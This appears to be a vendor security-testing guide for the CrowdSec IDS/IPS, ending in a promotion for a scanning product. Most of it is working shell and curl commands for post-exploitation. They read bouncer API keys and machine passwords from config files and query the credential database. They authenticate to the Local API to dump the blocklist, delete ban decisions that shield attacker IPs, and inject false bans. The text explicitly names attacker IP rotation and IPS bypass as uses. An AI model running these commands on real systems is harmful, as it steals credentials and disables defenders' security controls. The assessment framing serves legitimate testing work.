CrowdSec Security Testing: Bouncer Token, Decision API, Agent Enrollment, and LAPI Credentials

CrowdSec is a widely deployed open-source community-driven IDS/IPS that analyzes logs and shares threat intelligence across its user community. It consists of a security engine (agent), a Local API (LAPI) that coordinates decisions, and bouncers that enforce those decisions at the network/application layer. As a security control system, compromising CrowdSec has two high-value outcomes: reading the decision list to understand which IPs are blocked (useful for attacker IP rotation), and injecting false decisions to block legitimate traffic or whitelist malicious IPs. Key assessment areas: bouncer API keys in /etc/crowdsec/bouncers/ provide read/write access to the LAPI decision endpoint; the LAPI SQLite database at /var/lib/crowdsec/data/crowdsec.db stores all machine and bouncer credential hashes; the machine credentials in /etc/crowdsec/local_api_credentials.yaml contain the agent password for LAPI authentication; and the CrowdSec console enrollment key in config.yaml links the instance to the cloud hub. This guide covers systematic CrowdSec security assessment.

Table of Contents

  1. Bouncer Token and Decision API Access
  2. LAPI Credential Extraction
  3. Decision Manipulation and IPS Bypass
  4. CrowdSec Security Hardening

Bouncer Token and Decision API Access

# CrowdSec bouncer API key extraction and decision API access
# Bouncer config files contain the API key in plaintext

# List and read bouncer configuration files
ls -la /etc/crowdsec/bouncers/ 2>/dev/null
# crowdsec-firewall-bouncer.yaml
# cs-nginx-bouncer.yaml
# etc.

# Extract API keys from bouncer configs
grep -r "api_key\|api_url\|url" /etc/crowdsec/bouncers/ 2>/dev/null
# Typical output:
# api_url: http://localhost:8080
# api_key: 7f8e9d2b1a3c4e5f6789abcdef012345

# With a bouncer API key — query the CrowdSec LAPI decision list
LAPI_URL="http://localhost:8080"
BOUNCER_KEY="7f8e9d2b1a3c4e5f6789abcdef012345"

# Check if a specific IP is blocked (useful for attacker IP rotation)
curl -s "${LAPI_URL}/v1/decisions?ip=203.0.113.100" \
  -H "X-Api-Key: ${BOUNCER_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if d:
        for decision in d:
            print(f'IP blocked: {decision.get(\"value\")} reason={decision.get(\"type\")} until={decision.get(\"until\")}')
    else:
        print('IP not currently blocked')
except: print(sys.stdin.read()[:200])
" 2>/dev/null

# Dump all active decisions (the full blocklist)
curl -s "${LAPI_URL}/v1/decisions" \
  -H "X-Api-Key: ${BOUNCER_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
    decisions=json.load(sys.stdin)
    if decisions:
        print(f'Active decisions: {len(decisions)}')
        for d in decisions[:20]:
            print(f'  {d.get(\"value\")} type={d.get(\"type\")} scenario={d.get(\"scenario\")} until={d.get(\"until\")}')
    else:
        print('No active decisions')
except: print(sys.stdin.read()[:200])
" 2>/dev/null

LAPI Credential Extraction

# CrowdSec LAPI SQLite database — all machine and bouncer credentials

# The SQLite database stores bcrypt-hashed passwords for all registered machines
sqlite3 /var/lib/crowdsec/data/crowdsec.db 2>/dev/null << 'EOF'
SELECT m.machine_id, m.ipaddress, m.scenarios, m.is_validated, m.last_push
FROM machines m
LIMIT 20;
EOF
# Returns all registered CrowdSec agent machines

# Extract bouncer registrations from DB
sqlite3 /var/lib/crowdsec/data/crowdsec.db 2>/dev/null << 'EOF'
SELECT name, created_at, revoked, until, auth_type
FROM bouncers
LIMIT 20;
EOF

# Machine login credentials — used by CrowdSec agent to authenticate to LAPI
cat /etc/crowdsec/local_api_credentials.yaml 2>/dev/null
# Contains:
# url: http://localhost:8080
# login: machine-name-hostname
# password: BASE64ENCODEDPASSWORD

# Decode the password
python3 -c "
import yaml, base64
with open('/etc/crowdsec/local_api_credentials.yaml') as f:
    config = yaml.safe_load(f)
    login = config.get('login','')
    password = config.get('password','')
    print(f'Machine login: {login}')
    print(f'Machine password: {password}')
" 2>/dev/null

# CrowdSec main config — console enrollment key
grep -E 'enrollment_token|console_url|online_client' \
  /etc/crowdsec/config.yaml 2>/dev/null

Decision Manipulation and IPS Bypass

# CrowdSec decision API — injection and deletion
# Machine-level API (authenticated as agent) allows decision management
# This requires machine credentials from local_api_credentials.yaml

LAPI_URL="http://localhost:8080"

# Authenticate as a machine to get JWT
MACHINE_TOKEN=$(curl -s -X POST "${LAPI_URL}/v1/watchers/login" \
  -H "Content-Type: application/json" \
  -d '{"machine_id":"mymachine-hostname","password":"BASE64ENCODEDPASSWORD"}' \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token',''))
" 2>/dev/null)

# Delete a specific decision (whitelist an IP the IPS has blocked)
curl -s -X DELETE "${LAPI_URL}/v1/decisions?ip=203.0.113.100" \
  -H "Authorization: Bearer ${MACHINE_TOKEN}" 2>/dev/null

# Create a decision to block a specific IP (inject false positive)
curl -s -X POST "${LAPI_URL}/v1/decisions" \
  -H "Authorization: Bearer ${MACHINE_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '[{"value":"10.0.0.1","type":"ban","duration":"24h","reason":"injected","scenario":"test","origin":"machine"}]' \
  2>/dev/null

CrowdSec Security Hardening

CrowdSec Security Hardening Checklist:
Security TestMethodRisk
Bouncer API key extractionRead /etc/crowdsec/bouncers/*.yaml — API keys in plaintext; enables GET /v1/decisions to enumerate full IP blocklist; allows checking attacker infrastructure against the blocklist to identify blocked IPs for rotationHigh
LAPI database credential extractionsqlite3 /var/lib/crowdsec/data/crowdsec.db — machines table contains all agent credential hashes; bouncers table lists all bouncer registrations and their revocation statusHigh
Machine credential extraction and decision injectionRead /etc/crowdsec/local_api_credentials.yaml — machine login/password for LAPI auth; POST /v1/decisions with machine JWT injects false ban or whitelist decisions affecting all bouncers; DELETE /v1/decisions whitelists any currently-blocked IPCritical
Decision list enumeration (IPS bypass intelligence)GET /v1/decisions with bouncer key — returns complete active blocklist with IP, scenario, and expiry; exposes which attacker IPs have been detected and blocked; useful for rotating attack infrastructure to unblocked IPsMedium
Console enrollment token exposuregrep enrollment_token /etc/crowdsec/config.yaml — links instance to CrowdSec cloud hub; leaked token allows third party to associate their instance with the organization's console account, accessing aggregated threat intelligence and metricsMedium

Automate CrowdSec Security Testing

Ironimo tests CrowdSec deployments for bouncer API key extraction from bouncer config files, LAPI database credential hash enumeration, machine credential extraction from local_api_credentials.yaml, decision list enumeration exposing full IP blocklist, false decision injection and whitelist manipulation capability, LAPI network binding and remote access exposure, and console enrollment token assessment.

Start free scan